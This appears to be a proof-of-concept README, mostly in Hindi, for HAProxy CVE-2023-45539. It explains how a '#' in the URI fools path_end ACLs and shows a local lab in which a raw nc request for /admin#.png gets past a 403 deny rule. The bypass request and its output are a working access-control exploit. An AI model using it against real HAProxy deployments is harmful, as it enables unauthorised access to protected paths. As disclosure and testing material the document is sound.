
HAProxy-CVE-2023-45539-PoC
HAProxy 2.8.2 से पहले, URI घटक के हिस्से के रूप में # को स्वीकार करता है, जो संभावित रूप से दूरस्थ हमलावरों को संवेदनशील जानकारी प्राप्त करने या path_end नियम की गलत व्याख्या के कारण अन्य अनिर्दिष्ट प्रभाव डालने की अनुमति दे सकता है, जैसे कि index.html#.png को स्टैटिक सर्वर पर रूट करना।
इस CVE में गलत रूटिंग वह नहीं है जो बैकएंड ऐप "समर्थन" करता है — यह केवल वे हैं जिन्हें HAProxy स्वयं path_end (या regex) ACLs का उपयोग करके रूट करने के लिए कॉन्फ़िगर किया गया है।
acl is_static path_end .png .jpg .gif .css .js
use_backend be_static if is_static
इसका मतलब है:
HAProxy को इस बात से कोई फर्क नहीं पड़ता कि बैकएंड वास्तव में .png, .js आदि परोस सकता है या नहीं।
यह केवल अनुरोध पथ में प्रत्यय मिलान को देखता है।
यदि प्रत्यय उन स्ट्रिंग्स में से किसी एक से मेल खाता है, तो यह be_static पर रूट हो जाता है।
तो:
/admin#.png → .png से मेल खाता है → be_static पर जाता है → बाईपास
/admin#.asc → मेल नहीं खाता → be_app में रहता है → deny को हिट करता है → 403
curl -i http://localhost:6655/public
HTTP/1.1 200 OK
content-length: 7
content-type: text/plain
APP OK
curl -i http://localhost:6655/admin
HTTP/1.1 403 Forbidden
content-length: 93
cache-control: no-cache
content-type: text/html
<html><body><h1>403 Forbidden</h1>
Request forbidden by administrative rules.
</body></html>
printf 'GET /admin#.png HTTP/1.1\r\nHost: localhost\r\n\r\n' | nc -q1 127.0.0.1 6655
HTTP/1.1 200 OK
content-length: 31
content-type: text/plain
STATIC OK (routed by path_end)